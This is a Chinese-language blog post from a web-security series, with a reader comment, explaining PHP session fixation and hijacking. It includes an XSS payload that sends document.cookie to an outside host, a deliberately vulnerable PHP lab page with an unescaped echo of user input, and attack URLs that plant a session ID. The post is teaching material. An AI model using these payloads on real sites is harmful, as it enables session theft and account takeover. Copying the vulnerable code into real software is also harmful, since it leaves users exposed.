<心態崩ㄉme>
慢下來停下來,該回頭看看自己的努力。
恩!今天是第十五篇,下班了,我不想做事情,不想製圖不想寫文章,好想放棄鐵人賽。
我不在意瀏覽量,也不在意榜,我只在意自己的文章有沒有幫到別人。
沒關係啦,繼續努力,先祝福大家中秋節快樂。
我想起在資安路上,常常會有人挑戰你,首先最好最好就是不要讓自己打敗自己。
如果你不認識我,沒關係,你只要知道我還是會一直努力地分享。
</心態崩ㄉme>
還記得第二篇談到 HTTP 的時候,我們說 HTTP 是無狀態的通訊協定,
我們透過 Cookie/Session 去做狀態的管理。
PHP 的 Session 機制
<script>new Image().src="http://feifei.com.tw/collect.php?c="+document.cookie;</script>
// In php.ini 設定檔
session.use_only_cookies = 1
session.cookie_httponly = 1
session_regenerate_id();
server/fixation.php
<?php
session_start();
if( isset($_GET['password']) && $_GET['password'] == 'feifei' ) {
$_SESSION['logged_in'] = true;
$_SESSION['username'] = 'feifei';
}
if( isset($_SESSION['username']) && $_SESSION['logged_in'] ) {
echo "目前登入身分為", htmlentities($_SESSION['username'],ENT_QUOTES,'UTF-8');
} else {
echo "尚未登入<br>";
}
echo "session ID is " . session_id();
echo $_GET['q'];
?>
docker-compose.yml
version: "2"
services:
web:
image: php:7-apache
ports:
- "8015:80"
volumes:
- ./server:/var/www/html/
networks:
- default
http://127.0.0.1:8015/fixation.php?PHPSESSID=<PHPSESSID>
http://127.0.0.1:8015/fixation.php?q=<script>document.cookie="PHPSESSID=<PHPSESSID>";</script>
這個系列文讓我想到
以前我還對資安有興趣的時候
每次只要想了解某一項東西,像是XSS、CSRF、Session hijacking
就算看很多的文章、程式碼
都還是常常感覺似懂非懂
甚至不知道實際上會怎麼被利用
能把這麼複雜而且分散的Web資安
很有條理且有順序的說明又實例化
真的很不容易。
謝謝你的稱讚~這個系列雖然不是手把手系列,但還是希望大家可以多知道有關 web 的安全。